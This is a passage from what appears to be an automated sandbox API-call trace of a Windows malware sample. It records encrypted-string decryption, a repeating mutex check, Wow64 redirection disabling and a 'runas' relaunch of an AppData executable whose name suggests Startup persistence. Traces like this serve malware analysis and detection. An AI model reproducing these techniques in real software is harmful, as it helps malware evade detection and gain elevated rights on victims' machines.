lpSrc="%systemdrive%\\", lpDst=0x1c6618, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0272.680] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c6640 | out: hHeap=0x1c0000) returned 1 [0272.680] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c65f0 | out: hHeap=0x1c0000) returned 1 [0272.680] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xbcf770, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xbcf770*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0272.680] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c6618 | out: hHeap=0x1c0000) returned 1 [0272.680] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x40) returned 0x1c65f0 [0272.680] CryptImportKey (in: hProv=0x7d5188, pbData=0xbcf6fc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xbcf764 | out: phKey=0xbcf764*=0x806d18) returned 1 [0272.680] CryptSetKeyParam (hKey=0x806d18, dwParam=0x1, pbData=0xbcf74c, dwFlags=0x0) returned 1 [0272.680] CryptDecrypt (in: hKey=0x806d18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c65f0, pdwDataLen=0xbcf718 | out: pbData=0x1c65f0, pdwDataLen=0xbcf718) returned 1 [0272.680] CryptDestroyKey (hKey=0x806d18) returned 1 [0272.680] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x34) returned 0x1c6638 [0272.680] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\10969C354B4201") returned 0x0 [0272.681] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\10969C354B4201") returned 0x32c [0272.681] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x0) returned 0x0 [0272.681] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c65f0 | out: hHeap=0x1c0000) returned 1 [0272.681] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c6638 | out: hHeap=0x1c0000) returned 1 [0272.681] ReleaseMutex (hMutex=0x32c) returned 1 [0272.681] CloseHandle (hObject=0x32c) returned 1 [0272.681] Sleep (dwMilliseconds=0x3e8) [0273.867] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x20) returned 0x1c6400 [0273.867] CryptImportKey (in: hProv=0x7d5188, pbData=0xbcf6c8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xbcf730 | out: phKey=0xbcf730*=0x806c58) returned 1 [0273.867] CryptSetKeyParam (hKey=0x806c58, dwParam=0x1, pbData=0xbcf718, dwFlags=0x0) returned 1 [0273.867] CryptDecrypt (in: hKey=0x806c58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c6400, pdwDataLen=0xbcf6e4 | out: pbData=0x1c6400, pdwDataLen=0xbcf6e4) returned 1 [0273.867] CryptDestroyKey (hKey=0x806c58) returned 1 [0273.867] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x1e) returned 0x1c65f0 [0273.867] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x1e) returned 0x1c6618 [0273.867] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x90) returned 0x1c6640 [0273.867] CryptImportKey (in: hProv=0x7d5188, pbData=0xbcf6a0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xbcf708 | out: phKey=0xbcf708*=0x806c58) returned 1 [0273.867] CryptSetKeyParam (hKey=0x806c58, dwParam=0x1, pbData=0xbcf6f0, dwFlags=0x0) returned 1 [0273.867] CryptDecrypt (in: hKey=0x806c58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c6640, pdwDataLen=0xbcf6bc | out: pbData=0x1c6640, pdwDataLen=0xbcf6bc) returned 1 [0273.867] CryptDestroyKey (hKey=0x806c58) returned 1 [0273.867] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c6640 | out: hHeap=0x1c0000) returned 1 [0273.867] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x1c65f0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0273.867] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c6618 | out: hHeap=0x1c0000) returned 1 [0273.867] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c6400 | out: hHeap=0x1c0000) returned 1 [0273.867] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xbcf770, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xbcf770*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0273.868] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c65f0 | out: hHeap=0x1c0000) returned 1 [0273.868] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x40) returned 0x1c65f0 [0273.868] CryptImportKey (in: hProv=0x7d5188, pbData=0xbcf6fc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xbcf764 | out: phKey=0xbcf764*=0x806c58) returned 1 [0273.868] CryptSetKeyParam (hKey=0x806c58, dwParam=0x1, pbData=0xbcf74c, dwFlags=0x0) returned 1 [0273.868] CryptDecrypt (in: hKey=0x806c58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c65f0, pdwDataLen=0xbcf718 | out: pbData=0x1c65f0, pdwDataLen=0xbcf718) returned 1 [0273.868] CryptDestroyKey (hKey=0x806c58) returned 1 [0273.868] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x34) returned 0x1c6638 [0273.868] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\10969C354B4201") returned 0x0 [0273.868] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\10969C354B4201") returned 0x308 [0273.868] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x0) returned 0x0 [0273.868] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c65f0 | out: hHeap=0x1c0000) returned 1 [0273.868] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c6638 | out: hHeap=0x1c0000) returned 1 [0273.868] ReleaseMutex (hMutex=0x308) returned 1 [0273.868] CloseHandle (hObject=0x308) returned 1 [0273.868] Sleep (dwMilliseconds=0x3e8) [0274.921] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x20) returned 0x1c6400 [0274.921] CryptImportKey (in: hProv=0x7d5188, pbData=0xbcf6c8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xbcf730 | out: phKey=0xbcf730*=0x806d98) returned 1 [0274.921] CryptSetKeyParam (hKey=0x806d98, dwParam=0x1, pbData=0xbcf718, dwFlags=0x0) returned 1 [0274.921] CryptDecrypt (in: hKey=0x806d98, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c6400, pdwDataLen=0xbcf6e4 | out: pbData=0x1c6400, pdwDataLen=0xbcf6e4) returned 1 [0274.921] CryptDestroyKey (hKey=0x806d98) returned 1 [0274.921] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x1e) returned 0x1c65f0 [0274.921] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x1e) returned 0x1c6618 [0274.921] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x90) returned 0x1c6640 [0274.921] CryptImportKey (in: hProv=0x7d5188, pbData=0xbcf6a0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xbcf708 | out: phKey=0xbcf708*=0x806d98) returned 1 [0274.921] CryptSetKeyParam (hKey=0x806d98, dwParam=0x1, pbData=0xbcf6f0, dwFlags=0x0) returned 1 [0274.921] CryptDecrypt (in: hKey=0x806d98, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c6640, pdwDataLen=0xbcf6bc | out: pbData=0x1c6640, pdwDataLen=0xbcf6bc) returned 1 [0274.921] CryptDestroyKey (hKey=0x806d98) returned 1 [0274.921] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c6640 | out: hHeap=0x1c0000) returned 1 [0274.921] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x1c65f0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0274.921] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c6618 | out: hHeap=0x1c0000) returned 1 [0274.921] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c6400 | out: hHeap=0x1c0000) returned 1 [0274.921] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xbcf770, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xbcf770*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0274.921] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c65f0 | out: hHeap=0x1c0000) returned 1 [0274.921] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x40) returned 0x1c65f0 [0274.921] CryptImportKey (in: hProv=0x7d5188, pbData=0xbcf6fc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xbcf764 | out: phKey=0xbcf764*=0x806d98) returned 1 [0274.921] CryptSetKeyParam (hKey=0x806d98, dwParam=0x1, pbData=0xbcf74c, dwFlags=0x0) returned 1 [0274.921] CryptDecrypt (in: hKey=0x806d98, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c65f0, pdwDataLen=0xbcf718 | out: pbData=0x1c65f0, pdwDataLen=0xbcf718) returned 1 [0274.921] CryptDestroyKey (hKey=0x806d98) returned 1 [0274.921] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x34) returned 0x1c6638 [0274.921] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\10969C354B4201") returned 0x0 [0274.922] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\10969C354B4201") returned 0x37c [0274.922] WaitForSingleObject (hHandle=0x37c, dwMilliseconds=0x0) returned 0x0 [0274.922] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c65f0 | out: hHeap=0x1c0000) returned 1 [0274.922] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c6638 | out: hHeap=0x1c0000) returned 1 [0274.922] ReleaseMutex (hMutex=0x37c) returned 1 [0274.922] CloseHandle (hObject=0x37c) returned 1 [0274.922] Sleep (dwMilliseconds=0x3e8) [0275.949] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x20) returned 0x1c6400 [0275.949] CryptImportKey (in: hProv=0x7d5188, pbData=0xbcf6c8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xbcf730 | out: phKey=0xbcf730*=0x806c58) returned 1 [0275.950] CryptSetKeyParam (hKey=0x806c58, dwParam=0x1, pbData=0xbcf718, dwFlags=0x0) returned 1 [0275.950] CryptDecrypt (in: hKey=0x806c58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c6400, pdwDataLen=0xbcf6e4 | out: pbData=0x1c6400, pdwDataLen=0xbcf6e4) returned 1 [0275.950] CryptDestroyKey (hKey=0x806c58) returned 1 [0275.950] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x1e) returned 0x1c65f0 [0275.950] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x1e) returned 0x1c6618 [0275.950] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x90) returned 0x1c6640 [0275.950] CryptImportKey (in: hProv=0x7d5188, pbData=0xbcf6a0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xbcf708 | out: phKey=0xbcf708*=0x806c58) returned 1 [0275.950] CryptSetKeyParam (hKey=0x806c58, dwParam=0x1, pbData=0xbcf6f0, dwFlags=0x0) returned 1 [0275.950] CryptDecrypt (in: hKey=0x806c58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c6640, pdwDataLen=0xbcf6bc | out: pbData=0x1c6640, pdwDataLen=0xbcf6bc) returned 1 [0275.950] CryptDestroyKey (hKey=0x806c58) returned 1 [0275.950] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c6640 | out: hHeap=0x1c0000) returned 1 [0275.950] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x1c65f0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0275.950] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c6618 | out: hHeap=0x1c0000) returned 1 [0275.950] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c6400 | out: hHeap=0x1c0000) returned 1 [0275.950] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xbcf770, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xbcf770*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0275.950] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c65f0 | out: hHeap=0x1c0000) returned 1 [0275.950] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x40) returned 0x1c65f0 [0275.950] CryptImportKey (in: hProv=0x7d5188, pbData=0xbcf6fc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xbcf764 | out: phKey=0xbcf764*=0x806c58) returned 1 [0275.950] CryptSetKeyParam (hKey=0x806c58, dwParam=0x1, pbData=0xbcf74c, dwFlags=0x0) returned 1 [0275.950] CryptDecrypt (in: hKey=0x806c58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c65f0, pdwDataLen=0xbcf718 | out: pbData=0x1c65f0, pdwDataLen=0xbcf718) returned 1 [0275.950] CryptDestroyKey (hKey=0x806c58) returned 1 [0275.950] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x34) returned 0x1c6638 [0275.950] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\10969C354B4201") returned 0x0 [0275.950] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\10969C354B4201") returned 0x30c [0275.950] WaitForSingleObject (hHandle=0x30c, dwMilliseconds=0x0) returned 0x0 [0275.951] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c65f0 | out: hHeap=0x1c0000) returned 1 [0275.951] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c6638 | out: hHeap=0x1c0000) returned 1 [0275.951] ReleaseMutex (hMutex=0x30c) returned 1 [0275.951] CloseHandle (hObject=0x30c) returned 1 [0275.951] Sleep (dwMilliseconds=0x3e8) [0276.968] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x20) returned 0x1c6400 [0276.968] CryptImportKey (in: hProv=0x7d5188, pbData=0xbcf6c8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xbcf730 | out: phKey=0xbcf730*=0x806d18) returned 1 [0276.968] CryptSetKeyParam (hKey=0x806d18, dwParam=0x1, pbData=0xbcf718, dwFlags=0x0) returned 1 [0276.968] CryptDecrypt (in: hKey=0x806d18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c6400, pdwDataLen=0xbcf6e4 | out: pbData=0x1c6400, pdwDataLen=0xbcf6e4) returned 1 [0276.968] CryptDestroyKey (hKey=0x806d18) returned 1 [0276.968] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x1e) returned 0x1c65f0 [0276.968] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x1e) returned 0x1c6618 [0276.968] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x90) returned 0x1c6640 [0276.968] CryptImportKey (in: hProv=0x7d5188, pbData=0xbcf6a0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xbcf708 | out: phKey=0xbcf708*=0x806d18) returned 1 [0276.968] CryptSetKeyParam (hKey=0x806d18, dwParam=0x1, pbData=0xbcf6f0, dwFlags=0x0) returned 1 [0276.968] CryptDecrypt (in: hKey=0x806d18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c6640, pdwDataLen=0xbcf6bc | out: pbData=0x1c6640, pdwDataLen=0xbcf6bc) returned 1 [0276.968] CryptDestroyKey (hKey=0x806d18) returned 1 [0276.968] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c6640 | out: hHeap=0x1c0000) returned 1 [0276.969] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x1c65f0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0276.969] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c6618 | out: hHeap=0x1c0000) returned 1 [0276.969] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c6400 | out: hHeap=0x1c0000) returned 1 [0276.969] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xbcf770, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xbcf770*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0276.969] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c65f0 | out: hHeap=0x1c0000) returned 1 [0276.969] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x40) returned 0x1c65f0 [0276.969] CryptImportKey (in: hProv=0x7d5188, pbData=0xbcf6fc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xbcf764 | out: phKey=0xbcf764*=0x806d18) returned 1 [0276.969] CryptSetKeyParam (hKey=0x806d18, dwParam=0x1, pbData=0xbcf74c, dwFlags=0x0) returned 1 [0276.969] CryptDecrypt (in: hKey=0x806d18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c65f0, pdwDataLen=0xbcf718 | out: pbData=0x1c65f0, pdwDataLen=0xbcf718) returned 1 [0276.969] CryptDestroyKey (hKey=0x806d18) returned 1 [0276.969] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x34) returned 0x1c6638 [0276.969] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\10969C354B4201") returned 0x0 [0276.969] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\10969C354B4201") returned 0x384 [0276.969] WaitForSingleObject (hHandle=0x384, dwMilliseconds=0x0) returned 0x0 [0276.969] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c65f0 | out: hHeap=0x1c0000) returned 1 [0276.969] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c6638 | out: hHeap=0x1c0000) returned 1 [0276.969] ReleaseMutex (hMutex=0x384) returned 1 [0276.969] CloseHandle (hObject=0x384) returned 1 [0276.969] Sleep (dwMilliseconds=0x3e8) [0277.991] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x20) returned 0x1c6400 [0277.991] CryptImportKey (in: hProv=0x7d5188, pbData=0xbcf6c8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xbcf730 | out: phKey=0xbcf730*=0x806d18) returned 1 [0277.991] CryptSetKeyParam (hKey=0x806d18, dwParam=0x1, pbData=0xbcf718, dwFlags=0x0) returned 1 [0277.991] CryptDecrypt (in: hKey=0x806d18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c6400, pdwDataLen=0xbcf6e4 | out: pbData=0x1c6400, pdwDataLen=0xbcf6e4) returned 1 [0277.991] CryptDestroyKey (hKey=0x806d18) returned 1 [0277.991] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x1e) returned 0x1c65f0 [0277.991] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x1e) returned 0x1c6618 [0277.991] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x90) returned 0x1c6640 [0277.991] CryptImportKey (in: hProv=0x7d5188, pbData=0xbcf6a0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xbcf708 | out: phKey=0xbcf708*=0x806d18) returned 1 [0277.991] CryptSetKeyParam (hKey=0x806d18, dwParam=0x1, pbData=0xbcf6f0, dwFlags=0x0) returned 1 [0277.991] CryptDecrypt (in: hKey=0x806d18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c6640, pdwDataLen=0xbcf6bc | out: pbData=0x1c6640, pdwDataLen=0xbcf6bc) returned 1 [0277.991] CryptDestroyKey (hKey=0x806d18) returned 1 [0277.991] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c6640 | out: hHeap=0x1c0000) returned 1 [0277.991] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x1c65f0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0277.991] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c6618 | out: hHeap=0x1c0000) returned 1 [0277.991] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c6400 | out: hHeap=0x1c0000) returned 1 [0277.991] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xbcf770, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xbcf770*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0277.991] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c65f0 | out: hHeap=0x1c0000) returned 1 [0277.991] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x40) returned 0x1c65f0 [0277.991] CryptImportKey (in: hProv=0x7d5188, pbData=0xbcf6fc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xbcf764 | out: phKey=0xbcf764*=0x806d18) returned 1 [0277.991] CryptSetKeyParam (hKey=0x806d18, dwParam=0x1, pbData=0xbcf74c, dwFlags=0x0) returned 1 [0277.991] CryptDecrypt (in: hKey=0x806d18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c65f0, pdwDataLen=0xbcf718 | out: pbData=0x1c65f0, pdwDataLen=0xbcf718) returned 1 [0277.991] CryptDestroyKey (hKey=0x806d18) returned 1 [0277.991] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x34) returned 0x1c6638 [0277.991] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\10969C354B4201") returned 0x0 [0277.991] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\10969C354B4201") returned 0x384 [0277.991] WaitForSingleObject (hHandle=0x384, dwMilliseconds=0x0) returned 0x0 [0277.991] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c65f0 | out: hHeap=0x1c0000) returned 1 [0277.991] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c6638 | out: hHeap=0x1c0000) returned 1 [0277.991] ReleaseMutex (hMutex=0x384) returned 1 [0277.992] CloseHandle (hObject=0x384) returned 1 [0277.992] Sleep (dwMilliseconds=0x3e8) Thread: id = 90 os_tid = 0x574 [0267.012] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x10) returned 0x1c14a0 [0267.012] CryptImportKey (in: hProv=0x7d5188, pbData=0xd9fe30, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd9fe98 | out: phKey=0xd9fe98*=0x7d7670) returned 1 [0267.012] CryptSetKeyParam (hKey=0x7d7670, dwParam=0x1, pbData=0xd9fe80, dwFlags=0x0) returned 1 [0267.012] CryptDecrypt (in: hKey=0x7d7670, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c14a0, pdwDataLen=0xd9fe4c | out: pbData=0x1c14a0, pdwDataLen=0xd9fe4c) returned 1 [0267.012] CryptDestroyKey (hKey=0x7d7670) returned 1 [0267.012] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x20a) returned 0x1c14b8 [0267.012] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x50) returned 0x1c16d0 [0267.012] CryptImportKey (in: hProv=0x7d5188, pbData=0xd9fe0c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd9fe74 | out: phKey=0xd9fe74*=0x7d7670) returned 1 [0267.012] CryptSetKeyParam (hKey=0x7d7670, dwParam=0x1, pbData=0xd9fe5c, dwFlags=0x0) returned 1 [0267.012] CryptDecrypt (in: hKey=0x7d7670, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c16d0, pdwDataLen=0xd9fe28 | out: pbData=0x1c16d0, pdwDataLen=0xd9fe28) returned 1 [0267.012] CryptDestroyKey (hKey=0x7d7670) returned 1 [0267.013] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75bd0000 [0267.013] GetProcAddress (hModule=0x75bd0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75bfd650 [0267.013] Wow64DisableWow64FsRedirection (in: OldValue=0xd9febc | out: OldValue=0xd9febc*=0x0) returned 1 [0267.013] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c16d0 | out: hHeap=0x1c0000) returned 1 [0267.013] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1c14b8, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe")) returned 0x70 [0267.013] ShellExecuteExW (pExecInfo=0xd9fe64*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe", lpParameters=0x0, lpDirectory=0x0, nShow=1, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0)) Thread: id = 91 os_tid = 0x584 Thread: id = 92 os_tid = 0x5cc Thread: id = 93 os_tid = 0x624 Thread: id = 94 os_tid = 0x634 Thread: id = 95 os_tid = 0x688 [0271.785] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x440) returned 0x1c8638 [0271.785] CryptImportKey (in: hProv=0x7d5188, pbData=0x323f828, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x323f890 | out: phKey=0x323f890*=0x806a18) returned 1 [0271.785] CryptSetKeyParam (hKey=0x806a18, dwParam=0x1, pbData=0x323f878, dwFlags=0x0) returned 1 [0271.785] CryptDecrypt (in: hKey=0x806a18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c8638, pdwDataLen=0x323f844 | out: pbData=0x1c8638, pdwDataLen=0x323f844) returned 1 [0271.785] CryptDestroyKey (hKey=0x806a18) returned 1 [0271.785] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x434) returned 0x1c8a80 [0271.785] GetLastError () returned 0x0 [0271.785] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x214) returned 0x1c5618 [0271.785] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75bd0000 [0271.786] GetCurrentThreadId () returned 0x688 [0271.786] SetLastError (dwErrCode=0x0) [0271.786] GetLastError () returned 0x0 [0271.786] SetLastError (dwErrCode=0x0) [0271.786] GetLastError () returned 0x0 